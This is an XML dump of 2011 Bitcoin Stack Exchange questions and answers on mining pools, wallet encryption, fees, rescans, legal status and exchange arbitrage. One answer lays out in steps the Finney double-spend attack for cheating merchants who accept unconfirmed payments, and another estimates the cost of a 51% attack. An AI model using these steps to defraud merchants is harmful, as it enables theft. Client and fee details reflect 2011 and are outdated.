  <row Id="1239" PostTypeId="2" ParentId="1236" CreationDate="2011-09-25T10:02:56.450" Score="5" Body="&lt;p&gt;Miners that aren't cooperating will never replicate work because they each want to get a different block as the next official block. If nothing else, the account the mining fee is paid to will be different. (And this ripples up to the header.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For miners that are cooperating, work units are assigned by the mining pool. The pool will typically embed a different coinbase in the work units it assigns to each miner. When a miner finishes processing a work unit, it requests a new work unit (with a new coinbase) from the mining pool.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So there should never be any replicated work.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2011-09-25T10:02:56.450" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1240" PostTypeId="2" ParentId="1233" CreationDate="2011-09-25T10:06:40.220" Score="1" Body="&lt;p&gt;There are no such attacks known and there are some reasons none are likely to be exist. There is nothing special cooperating users could do, so far as we know. And the only 'tipping point' where something becomes possible, is 51% of total mining power. Other than that, there is no advantage to having more computing power than someone else.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2011-09-25T10:06:40.220" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1242" PostTypeId="2" ParentId="1236" CreationDate="2011-09-25T13:26:13.410" Score="2" Body="&lt;p&gt;Solo miners and mining pools as a whole compete against one another to find the correct hash to solve the block first. As they each want a different address to be a part of the solution (so they can earn coins with their Bitcoin address), there is no overlapping per se. It's just a race to find a solution to your problem under common rules.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pooled miners, that is the miners that mine together in a pool on the other hand work together to solve the same problem, each being assigned a range of possible solutions to check. Since the pools want to maximize their profits, they shouldn't assign the same work to more than one miner, unless they want to double check that it was solved correctly (and the miner wasn't cheating).&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2011-09-25T13:26:13.410" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1243" PostTypeId="1" AcceptedAnswerId="1244" CreationDate="2011-09-25T15:59:07.173" Score="12" ViewCount="326" Body="&lt;p&gt;Now that v0.4 of the bitcoin client has encryption I've gone ahead and encrypted the keys in my wallet.  But I had previously made backups of my (unencrypted) wallet and those keys are the same keys that are now encrypted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This gives me a false sense of security.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way after I've upgraded to v0.4 and encrypted to force all my existing keys to become invalid and then to spend to a new (encrypted) key so that even if an attacker gets ahold of my backup that my coins are safe?&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="153" LastEditDate="2011-09-25T16:08:34.700" LastActivityDate="2011-11-18T12:44:09.137" Title="Can I force my wallet to only have news keys, post-encryption?" Tags="|security|wallet|encryption|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1244" PostTypeId="2" ParentId="1243" CreationDate="2011-09-25T16:29:49.923" Score="6" Body="&lt;p&gt;Seems to me that the easiest way would be to create a brand new, encrypted wallet using the new client, then send all your coins to that one and forget about the old one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(You can force a new wallet by simply deleting wallet.dat before launching the client)&lt;/p&gt;&#xA;" OwnerUserId="105" LastActivityDate="2011-09-25T16:29:49.923" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="1245" PostTypeId="1" CreationDate="2011-09-25T17:42:54.507" Score="6" ViewCount="335" Body="&lt;p&gt;On pull request &lt;a href=&quot;https://github.com/bitcoin/bitcoin/pull/220&quot;&gt;https://github.com/bitcoin/bitcoin/pull/220&lt;/a&gt; say will be possible to import/export keys.&#xA;I would like to know if will be possible to have the same key on different wallets and only be able to spend the bitcoins from this key with permission of the other users that has this same key on the wallet. Example:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;I have a key on my client with 10 BTC. &lt;/li&gt;&#xA;&lt;li&gt;I export this key and send to a friend&lt;/li&gt;&#xA;&lt;li&gt;The key will be on my wallet and on my friend wallet&lt;/li&gt;&#xA;&lt;li&gt;When I or my friend try to spend the bitcoins from this specific key, will be requested a password asking if we accept the transaction.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Will this be possible on next Bitcoin versions?&lt;/p&gt;&#xA;" OwnerUserId="276" LastEditorUserId="105" LastEditDate="2011-09-25T20:43:10.960" LastActivityDate="2011-09-25T20:43:10.960" Title="Will be possible to have the same key on more than one wallet?" Tags="|development|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1247" PostTypeId="2" ParentId="1245" CreationDate="2011-09-25T20:22:00.213" Score="4" Body="&lt;p&gt;The pull request that you refer to is just for simple import/export of private keys and wallets and does not include the feature that you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There have been some discussions on multi-signature transactions which sounds similar to what you are looking for. That would allow for cases where two different private keys are required to make a transaction. See &lt;a href=&quot;https://bitcointalk.org/index.php?topic=38928.0&quot; rel=&quot;nofollow&quot;&gt;this forum thread&lt;/a&gt; and the &lt;a href=&quot;https://gist.github.com/39158239e36f6af69d6f&quot; rel=&quot;nofollow&quot;&gt;draft proposal here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="105" LastActivityDate="2011-09-25T20:22:00.213" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1248" PostTypeId="1" CreationDate="2011-09-25T23:18:43.110" Score="21" ViewCount="853" Body="&lt;p&gt;Bernard von NotHaus (the creator of the &lt;a href=&quot;http://en.wikipedia.org/wiki/Liberty_Dollar&quot;&gt;Liberty Dollar&lt;/a&gt;) was convicted of violating a U.S. federal law that forbids the minting of a currency by anyone in the U.S. besides the federal government.  Might it be claimed that bitcoins are also a currency and their users or creators violate that same law?&lt;/p&gt;&#xA;" OwnerUserId="492" LastEditorUserId="492" LastEditDate="2011-09-26T18:25:38.707" LastActivityDate="2012-10-30T00:34:01.920" Title="Is the NotHaus conviction (Liberty Dollar) relevant as legal precedent?" Tags="|legal|" AnswerCount="4" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1249" PostTypeId="1" AcceptedAnswerId="1251" CreationDate="2011-09-25T23:22:02.590" Score="31" ViewCount="35311" Body="&lt;p&gt;&lt;code&gt;-rescan&lt;/code&gt; is a command line argument that is passed to the bitcoin client after restoring wallet.dat from backup.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Which files get recalculated?&lt;/li&gt;&#xA;&lt;li&gt;Which files does the rescan command read?&lt;/li&gt;&#xA;&lt;li&gt;Why is it a good practice to first download all the blocks, then rescan, and not the other way around? (as &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/1216/how-to-debug-a-failed-restore-of-a-namecoin-wallet/1219#1219&quot;&gt;a comment on this answer suggests&lt;/a&gt;)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="78" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:34.187" LastActivityDate="2018-10-02T14:26:30.727" Title="How exactly does -rescan work?" Tags="|bitcoin-core|rescan|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1250" PostTypeId="2" ParentId="1248" CreationDate="2011-09-25T23:26:56.637" Score="0" Body="&lt;p&gt;There is no evidence to suggest that law applies to Bitcoin. See also &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/131/what-is-the-current-legal-status-of-bitcoin-around-the-world&quot;&gt;What is the current legal status of Bitcoin?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="78" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.743" LastActivityDate="2011-09-25T23:26:56.637" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1251" PostTypeId="2" ParentId="1249" CreationDate="2011-09-26T00:34:29.960" Score="20" Body="&lt;p&gt;The bitcoin client stores, in the wallet, the transactions that affect coins it manages. If it sees a new transaction, it checks to see if that transaction affects any accounts stored in the wallet. If so, the wallet is updated. Similarly, if the chain is reorganized, the wallet is updated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the client doesn't check to make sure the wallet is synchronized to the current block chain. To fix this, the &lt;code&gt;rescan&lt;/code&gt; command can be used. This causes the client, on startup, to go through every single block it has downloaded, search for transactions affecting accounts in the wallet, and update the wallet's transaction store and balances to reflect that transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are a few cases when you definitely need to rescan. For example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you restore a backed up wallet, it will be missing any transactions in blocks you downloaded after you backed up the wallet. Since the client won't receive those blocks (since it already has them) the normal wallet update logic won't fix this. You will need to rescan.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you modify your wallet, say by adding keys to it or removing transactions from it, the wallet update logic won't see the transactions. So if you use a program other than the client to modify your wallet, you will need to rescan.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Theoretically, it shouldn't matter whether you download all the blocks and then rescan or vice-versa. The client won't download blocks while it's rescanning. And newly-downloaded blocks should update the wallet anyway. The logic is basically that this ensures the rescan process sees the blocks containing any missing transactions, rather than the regular block update logic. (They &lt;em&gt;should&lt;/em&gt; both work. But if you need to rescan, we know something's wrong anyway.)&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="516" LastEditDate="2012-06-20T08:11:33.940" LastActivityDate="2012-06-20T08:11:33.940" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1252" PostTypeId="2" ParentId="336" CreationDate="2011-09-26T01:51:39.003" Score="10" Body="&lt;ul&gt;&#xA;&lt;li&gt;Bitcoin is an internet currency.&lt;/li&gt;&#xA;&lt;li&gt;Bitcoin is a decentralized currency.&lt;/li&gt;&#xA;&lt;li&gt;Bitcoin is a predictable currency.&lt;/li&gt;&#xA;&lt;li&gt;Bitcoin is open source.&lt;/li&gt;&#xA;&lt;li&gt;Bitcoin is getting stronger every day.&lt;/li&gt;&#xA;&lt;li&gt;Bitcoin is an experiment that has grown rapidly as interest in the idea spreads.&lt;/li&gt;&#xA;&lt;li&gt;Bitcoin makes it easier to sell things over the internet.&lt;/li&gt;&#xA;&lt;li&gt;Bitcoin allows anyone to pay anyone else.&lt;/li&gt;&#xA;&lt;li&gt;Bitcoin has strong privacy: you should be able to choose who knows about your financial transactions.&lt;/li&gt;&#xA;&lt;li&gt;Bitcoin can reduce the costs of everyday goods, by making the financial markets more competitive. &lt;/li&gt;&#xA;&lt;li&gt;Bitcoin is a chance to revolutionize the financial system, making it fairer and more democratic.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="145" LastActivityDate="2011-09-26T01:51:39.003" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1253" PostTypeId="2" ParentId="1248" CreationDate="2011-09-26T03:17:01.927" Score="17" Body="&lt;p&gt;There are many complementary currencies in use around the United States quite openly and without government interference, including BerkShares, Ithaca Dollars and similar hyper-local currencies, various bartering or time swapping systems like LETS or Time Dollars, etc. The case you are referring to revolved around minting coins that could easily be confused with US money and allegedly circulating (and encouraging others to do so) to local businesses while passing them off as US money (by a lie of omission, if nothing else).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It may well be that Bitcoin faces legal challenges in various countries, including the US, but this particular case will have set no precedent in that regard.&lt;/p&gt;&#xA;" OwnerUserId="81" LastEditorUserId="50" LastEditDate="2011-09-26T13:24:32.137" LastActivityDate="2011-09-26T13:24:32.137" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1254" PostTypeId="2" ParentId="1248" CreationDate="2011-09-26T03:35:41.067" Score="13" Body="&lt;p&gt;The convictions, currently under appeal, are for&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;making coins resembling and similar to United States coins&lt;/li&gt;&#xA;&lt;li&gt;issuing, passing, selling, and possessing Liberty Dollar coins&lt;/li&gt;&#xA;&lt;li&gt;issuing and passing Liberty Dollar coins intended for use as current money&lt;/li&gt;&#xA;&lt;li&gt;conspiracy against the United States&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The essenges of bitcoin is a cryptographically signed message and therefore bears no resemblance to United States coins.  The Casascius physical bitcoin and Bitbills are the closest things and nowhere do they come close to a U.S. coin.  The Bitcoin medals / silver 1 ounce rounds at My Bitcoin Mint or MJB Monetary Metals are simply silver commodities no different than the thousands of other silver medals and rounds produced.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are private currencies in use in certain locales.  Berkshares in Massachusetts and Potomac currency near D.C. even, for instance.  Their issuance has been left unchallenged. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far, there has been no determination as to what Bitcoin is.  Is it a commodity?  A foreign exchange currency?  A stored value (regulated under the definition of prepaid access?)  But there is little association between Bitcoin and a U.S. coin.&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="153" LastEditDate="2011-09-26T03:43:54.477" LastActivityDate="2011-09-26T03:43:54.477" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1255" PostTypeId="1" CreationDate="2011-09-26T09:14:25.230" Score="17" ViewCount="69688" Body="&lt;p&gt;How would I go about making the simplest form of a CPU bitcoin miner? I have not been able to find documentation on the whole process...&lt;/p&gt;&#xA;" OwnerDisplayName="user493" LastEditorUserId="5406" LastEditDate="2016-01-23T12:49:05.107" LastActivityDate="2022-01-27T19:23:40.407" Title="How to code the Simplest BitCoin CPU Miner?" Tags="|cpu-mining|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1256" PostTypeId="2" ParentId="1255" CreationDate="2011-09-26T09:22:04.913" Score="9" Body="&lt;p&gt;If you're fluent in Python, there is a reference RPC miner, written by one of bitcoin's developers: &lt;a href=&quot;https://github.com/jgarzik/pyminer&quot; rel=&quot;nofollow&quot;&gt;https://github.com/jgarzik/pyminer&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="208" LastEditorUserId="2306" LastEditDate="2014-11-01T19:49:48.530" LastActivityDate="2014-11-01T19:49:48.530" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1257" PostTypeId="1" CreationDate="2011-09-26T14:40:40.193" Score="4" ViewCount="573" Body="&lt;p&gt;&lt;a href=&quot;http://www.reddit.com/r/Bitcoin/comments/kruk6/is_there_a_list_of_established_sites_that_have/&quot; rel=&quot;nofollow&quot;&gt;Cross posted to Reddit&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe the &lt;a href=&quot;https://en.bitcoin.it/wiki/Trade&quot; rel=&quot;nofollow&quot;&gt;Trade page&lt;/a&gt; mostly has new sites, not a lot of existing ones. To me, any existing, established site that goes Bitcoin is worth more than ten new Bitcoin-accepting sites.&lt;/p&gt;&#xA;" OwnerUserId="78" LastActivityDate="2014-08-05T18:15:36.650" Title="Is there a list of established sites that have started accepting Bitcoin?" Tags="|websites|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1258" PostTypeId="2" ParentId="1233" CreationDate="2011-09-26T15:15:57.680" Score="1" Body="&lt;p&gt;There are at least two double spend attacks if merchants accept zero-confirm transactions. (Bear in mind that a single confirmation takes an average of 10 minutes, and longer than an hour with probability 1:400). &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;With the Finney attack you precompute a block with a transaction to yourself. When you have a solution, you go to a merchant and buy something, giving him a transaction from the same address (and same output). When you step out of the shop with your goods, you release the presolved block (containing a transaction to yourself) into the wild, invalidating the genuine transaction.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;With the discount scheme you override the transaction only with a certain probability (proportional to the size of your rig), but there are no timing issues. A potential real-world example is described &lt;a href=&quot;http://newmeraire.blogspot.com/2011/09/bitcoin-discount-scheme.html&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;. See also &lt;a href=&quot;http://www.reddit.com/r/Bitcoin/comments/knp32/the_bitcoin_discount_scheme/&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; for a discussion.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="496" LastActivityDate="2011-09-26T15:15:57.680" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1259" PostTypeId="2" ParentId="1093" CreationDate="2011-09-26T18:17:06.410" Score="5" Body="&lt;p&gt;It should be pointed out that David Perry's &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/1093/how-much-would-it-cost-to-execute-a-51-attack/1094#1094&quot;&gt;answer&lt;/a&gt; is an &lt;em&gt;upper bound&lt;/em&gt; on the attack price, and I'm fairly sure you could do better than that. For reference, his key numbers were $40k/day and $16M upfront.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;While you mine you earn bitcoins. The bitcoins you mine you can sell for USD at an exchange. How much will you get back? Well with half the global hashrate you will mine half the coins, which currently means 3600 per day. At the price of $5/BTC that's $18,000 per day recouped.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Lets assume you invest in (more or less) the most efficient hardware. Therefore, if you are losing money mining then most others will be losing money too. Question: Why would people be mining if they were losing money? Answer: they wouldn't, they would switch off their rigs, at least temporarily. There is already &lt;a href=&quot;http://bitcoin.sipa.be/&quot; rel=&quot;nofollow noreferrer&quot;&gt;hard evidence&lt;/a&gt; that people switch off their rigs when it ceases to become profitable. This would increase your bitcoin mining rate substantially. Simple economics would indicate that enough people would switch off their rigs that the mining &lt;em&gt;cost&lt;/em&gt; per Thash would equal mining &lt;em&gt;revenue&lt;/em&gt; per Thash. It's an equilibrium point. There will be friction, but you should expect to recoup almost all your electricity costs in mining revenues.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Based on 2. above, you don't have to add capacity &lt;em&gt;equal&lt;/em&gt; to the current global hashrate, you have to add capacity equal to &lt;em&gt;half&lt;/em&gt; the global hashrate. This is because if done slowly, every extra Thash/s you add, someone else will switch off a Thash/s to maintain parity between mining costs and mining revenue.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Based on 2 and 3 above, the total cost would be $8M upfront with little or no running costs. And this is assuming no resale value on the hardware.&lt;/p&gt;&#xA;" OwnerUserId="496" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:34.187" LastActivityDate="2011-09-26T18:17:06.410" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1260" PostTypeId="1" CreationDate="2011-09-26T19:12:16.190" Score="8" ViewCount="932" Body="&lt;p&gt;I've just launched a trading app that trades on MTGox and TradeHill.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm noticing something strange on TradeHill though. Basically I get my quote and place an order directly after. The order never gets filled as the price has already moved. I don't notice this on MTGox which is a surprise because there are higher volumes there and one would think that the price would move quicker there. Also, if I log on to TradeHill myself and fill the order form manually using the quoted price my order has been filled by the time my browser reloads the page?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have any of you guys noticed this? These orders are being made when there is an arbitrage opporunity between MTGox and TradeHill.. Could this be the reason for the momentary volatility.. i.e. lot's of bots place orders to exploit the difference?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas on this appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. I forgot to mention that there is often a pretty large spread between bids/asks on TradeHill.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&#xA;I'm using the ticker API to grab buy/sell quotes. I will then place an order for 1BTC to buy/sell at the quoted price. I'm not currently looking at market depth. I have planned on looking at it later to figure out the max volume I could use any given time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, yes, that was silly of me high volume = low volatility.&lt;/p&gt;&#xA;" OwnerUserId="413" LastEditorUserId="413" LastEditDate="2011-09-29T15:00:58.963" LastActivityDate="2011-09-29T15:00:58.963" Title="Pricing TradeHill compared to MTGox" Tags="|mtgox|arbitrage|tradehill|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1261" PostTypeId="1" AcceptedAnswerId="1262" CreationDate="2011-09-26T21:37:13.750" Score="26" ViewCount="32466" Body="&lt;p&gt;I am using the 0.4.0 release. Is it possible to send bitcoins without paying a fee?&#xA;Who gets the fee ? Is it only miners discovering new blocks?&lt;/p&gt;&#xA;" OwnerUserId="498" LastEditorUserId="44" LastEditDate="2011-09-27T19:14:01.697" LastActivityDate="2020-05-31T16:08:24.520" Title="Is it possible to send bitcoins without paying a fee?" Tags="|transactions|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1262" PostTypeId="2" ParentId="1261" CreationDate="2011-09-26T21:53:39.327" Score="22" Body="&lt;p&gt;It is possible to send Bitcoins without paying any fee. The easiest way is if your transaction meets the following requirements:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;The transaction only sends coins to one address, plus the return of change. (No more than two 'out' scripts.)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The transaction doesn't need to gather a large number of small transaction outputs. (You are spending funds you received in a sensible way, not as a large number of micro-transactions.)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The funds are stable. That is, you aren't spending funds you recently received.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Otherwise, the transaction fee goes to the miner who includes your transaction in a block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently, it is possible to get any valid, standard transaction into a block without paying a fee if you are willing to be sufficiently patient. You may need to specifically configure your client to connect to a client known to accept such transactions and known to relay them to miners. (Luke Dash Jr. runs one such node, with IP address &lt;a href=&quot;https://en.bitcoin.it/wiki/Free_transaction_relay_policy&quot;&gt;&lt;code&gt;173.242.112.53&lt;/code&gt;&lt;/a&gt;.)&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2011-09-26T21:53:39.327" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="1263" PostTypeId="2" ParentId="1260" CreationDate="2011-09-27T01:31:18.953" Score="4" Body="&lt;p&gt;The problem might be that TradeHill adds orders to the Orderbook before processing them.&#xA;For example, this happened today:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Around 18h10 UTC, the highest bid was 4.842524 and the lowest ask was 4.840000&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Around 22h00 UTC, the highest bid was 4.820000 and the lowest ask was 4.819900&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I have also detected similar situations at ExchangeBitcoins.com.  CampBX  and MtGox seem to be matching orders before displaying them so you shouldn't have these problems there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't want to risk putting an order that will never go through, you should detect situations like this in your code and wait for the orders to solve. If the lowest ask is lower than the highest bid, something is not right.&lt;/p&gt;&#xA;" OwnerUserId="5" LastActivityDate="2011-09-27T01:31:18.953" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1264" PostTypeId="2" ParentId="1257" CreationDate="2011-09-27T01:54:43.303" Score="2" Body="&lt;p&gt;&lt;a href=&quot;http://stuffexists.com/&quot; rel=&quot;nofollow&quot;&gt;http://stuffexists.com/&lt;/a&gt;  has a good list.&lt;/p&gt;&#xA;" OwnerUserId="145" LastActivityDate="2011-09-27T01:54:43.303" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1265" PostTypeId="1" AcceptedAnswerId="1297" CreationDate="2011-09-27T06:47:48.227" Score="13" ViewCount="1587" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Related Question&lt;/strong&gt;: &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/408/does-hoarding-really-hurt-bitcoin&quot;&gt;Does hoarding really hurt Bitcoin&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Does speculation hurt bitcoin? I often hear people complain that speculation is destroying Bitcoin, or that Bitcoin will fail because of speculation. Is there any merit to this criticism of Bitcoin? And in particular, is the idea that speculation is hurting Bitcoin any different then the idea that hoarding is hurting Bitcoin?  &lt;/p&gt;&#xA;" OwnerUserId="145" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.660" LastActivityDate="2013-03-30T23:23:01.917" Title="Does speculation hurt bitcoin?" Tags="|economic-theory|speculation|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1267" PostTypeId="2" ParentId="1265" CreationDate="2011-09-27T08:16:34.373" Score="8" Body="&lt;p&gt;Theoretically, in a perfect world, speculation would reduce volatility. However, that assumes that all actors are rational and have equal access to useful information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There really is no useful information about the future value of a Bitcoin. The future demand could be near zero (if Bitcoins become obsolete or are never widely adopted) or massive (if Bitcoins become popular, since their creation rate cannot be changed).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a result, speculative bubbles are created frequently. The price shoots up for a day or so, and then when the bubble bursts, panic selling sets in. This creates exaggerated increases and decreases in the price. Also, for every savvy person who makes money on this volatility, there's a naive guy who lost some money. That probably turns a lot of people off as well, but most likely what it turns them off from is speculating.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But this actually does hurt Bitcoin adoption. One of the obstacles to Bitcoin adoption is volatility. It's hard to sell a product for X Bitcoins if the value of X Bitcoins can change drastically from day to day. A merchant could be forced to hold a large number of Bitcoins waiting for the prices to recover as their suppliers and employees expect to be paid in dollars.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The price of Bitcoin dropped from $11 to $9 in a day (8/25/2011), and stayed below $7 for a month. Imagine a merchant who accepted Bitcoins at $10.50 each and found them at $9 the next morning. Do they wait and just hope the prices go back up?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I should also point out that this doesn't mean speculation is &quot;bad&quot;. It does, however, have some effects that may reasonably be considered bad. These reasons also are somewhat unique to Bitcoins -- these issues don't apply to speculation in more predictable commodities like oil which actually tends to reduce volatility.&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="85" LastEditDate="2011-09-28T15:46:43.010" LastActivityDate="2011-09-28T15:46:43.010" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="1268" PostTypeId="1" AcceptedAnswerId="1269" CreationDate="2011-09-27T09:09:49.497" Score="4" ViewCount="241" Body="&lt;p&gt;If I run a miner where can I set the fee value to accept transactions in the bitcoin client?&lt;/p&gt;&#xA;" OwnerUserId="498" LastEditorUserId="5406" LastEditDate="2016-01-27T13:59:56.987" LastActivityDate="2016-01-27T13:59:56.987" Title="Where can I set the fee value for accepting transactions?" Tags="|bitcoind|transaction-fees|mining-reward|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1269" PostTypeId="2" ParentId="1268" CreationDate="2011-09-27T09:22:40.193" Score="4" Body="&lt;p&gt;Note that the transactions are chosen by the client you issue your &lt;code&gt;getwork&lt;/code&gt; requests to. If you're mining in a pool, the pool chooses the transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The key settings are in the &lt;code&gt;main.h&lt;/code&gt; file. Look at &lt;code&gt;MIN_TX_FEE&lt;/code&gt; and &lt;code&gt;MIN_RELAY_TX_FEE&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To accept non-standard transactions, comment out these lines in &lt;code&gt;main.cpp&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Rather not work on nonstandard transactions (unless -testnet)&#xA;if (!fTestNet &amp;amp;&amp;amp; !IsStandard())&#xA;    return error(&quot;AcceptToMemoryPool() : nonstandard transaction type&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that if you accept transactions with less than the normal transaction fees, you should connect to &lt;a href=&quot;https://en.bitcoin.it/wiki/Free_transaction_relay_policy&quot; rel=&quot;nofollow&quot;&gt;Luke Dash Jr.'s node&lt;/a&gt; to make sure you get such transactions, since most clients won't relay them to you. Add &lt;code&gt;-addnode=173.242.112.53&lt;/code&gt; to the command line you use to start your client.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2011-09-27T09:22:40.193" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1270" PostTypeId="1" AcceptedAnswerId="1271" CreationDate="2011-09-27T09:27:02.480" Score="13" ViewCount="2023" Body="&lt;p&gt;Is it possible to run more than one Bitcoin client at the same time on the same machine? I tried to set different working ports, but it seems not to be working.&lt;/p&gt;&#xA;" OwnerUserId="498" LastEditorUserId="85" LastEditDate="2011-09-27T23:06:41.207" LastActivityDate="2011-09-28T02:45:59.383" Title="Is it possible to run more than one client instance on a machine?" Tags="|client|bitcoind|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
